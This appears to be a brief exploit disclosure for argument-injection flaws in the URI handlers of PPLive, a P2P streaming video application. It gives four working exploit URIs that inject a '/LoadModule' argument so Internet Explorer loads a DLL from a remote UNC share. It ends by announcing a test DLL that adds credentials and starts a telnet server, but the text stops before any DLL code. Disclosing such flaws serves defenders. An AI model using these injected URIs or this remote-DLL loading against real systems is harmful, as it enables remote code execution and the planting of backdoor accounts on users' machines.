software description:
"PPLive is a peer-to-peer streaming video network created in Huazhong University
of Science and Technology, People's Republic of China. It is part of a new
generation of P2P applications, that combine P2P and Internet TV, called P2PTV."

vulnerability:
The "synacast://", "Play://" ,"pplsv://" and "ppvod://" URI handlers do not
verify certain parts of the URI before evaluating command line parameters.
This can be exploited against Internet Explorer to e.g. load a dll from a remote
UNC path via the "/LoadModule" parameter, example exploit (IE7):

synacast://www.microsoft.com/?"%20/LoadModule%20\1.2.3.4\unc_share\sh.dll%20"
Play://www.microsoft.com/?"%20/LoadModule%20\\1.2.3.4\unc_share\sh.dll%20"

against older versions:
pplsv://www.microsoft.com/?"%20/LoadModule%20\\1.2.3.4\unc_share\sh.dll%20"
ppvod://www.microsoft.com/?"%20/LoadModule%20\\1.2.3.4\unc_share\sh.dll%20"

test dll which adds new credentials / spawns the telnet server:
